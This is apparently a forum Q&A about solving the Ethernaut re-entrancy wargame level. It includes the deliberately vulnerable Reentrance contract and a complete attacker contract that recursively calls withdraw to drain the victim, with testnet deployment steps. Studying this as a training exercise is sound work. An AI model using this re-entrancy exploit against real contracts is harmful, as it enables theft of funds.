I am working through the ethernaut challenge re-entrancy: https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D I think I have hit tunnel vision as I keep getting this error on remix and I really don't know why:
Gas estimation errored with the following message (see below). The transaction execution will likely fail. Do you want to force sending?
execution reverted
here is the code I have made to attack the contract:
pragma solidity ^0.8.0;
import "./vic.sol";
contract getether{
Reentrance public reenter;
constructor(address payable _victim){
reenter = Reentrance(_victim);
}
function start() public {
reenter.donate{value : 0.001 ether, gas : 4000000}(address(this));
}
fallback() external payable {
if(address(reenter).balance != 0){
reenter.withdraw(0.001 ether);
}
}
}
Thanks in advance
(code from Ethernaut re-entrance level. I only changed math.sol import)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
Deploy in Rinkeby vic.sol, using some account (called account 1) from Metamask.
Another options: deploy contract in Rinkeby, from Ethernaut site, using "Get new instance" button and console (I think that you already know that)
You could see my deployed contract here. (It was deployed from the Ethernaut site)
Once the transaction from the previous point is finished, take contract's address and import in remix (field "at address").
With account 1, send 1 ether to contract vic.sol. Use "donate" method and put contract address (created in 1) as "address_to" parameter.
Important notes:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./vic.sol";
contract ReentranceAttacker {
Reentrance public reenter;
uint256 initialDeposit;
constructor(address payable _victim) {
reenter = Reentrance(payable(_victim));
}
function attack() external payable {
require(msg.value >= 1 ether, "send >= 1 ether");
// first deposit some funds
initialDeposit = msg.value;
reenter.donate{value: initialDeposit}(address(this));
// withdraw these funds over and over again because of re-entrancy issue
callWithdraw();
}
receive() external payable {
// re-entrance called by reenter
callWithdraw();
}
function callWithdraw() private {
// this balance correctly updates after withdraw
uint256 challengeTotalRemainingBalance = address(reenter).balance;
// are there more tokens to empty?
bool keepRecursing = challengeTotalRemainingBalance > 0;
if (keepRecursing) {
// can only withdraw at most our initial balance per withdraw call
uint256 toWithdraw =
initialDeposit < challengeTotalRemainingBalance
? initialDeposit
: challengeTotalRemainingBalance;
reenter.withdraw(toWithdraw);
}
}
}
Deploy attack.sol to Rinkeby. See my contract deployed here.
Put 1 ether in value and press "attack" in deployed contract attack.sol.
When transaction is finished, you'll see 2.001 ethers in contract (attack.sol) balance and 0 ethers y vic.sol balance.
Notes about "2.001 ethers":
And that's all. You could see that contracts works: (submit solution to Ethernaut)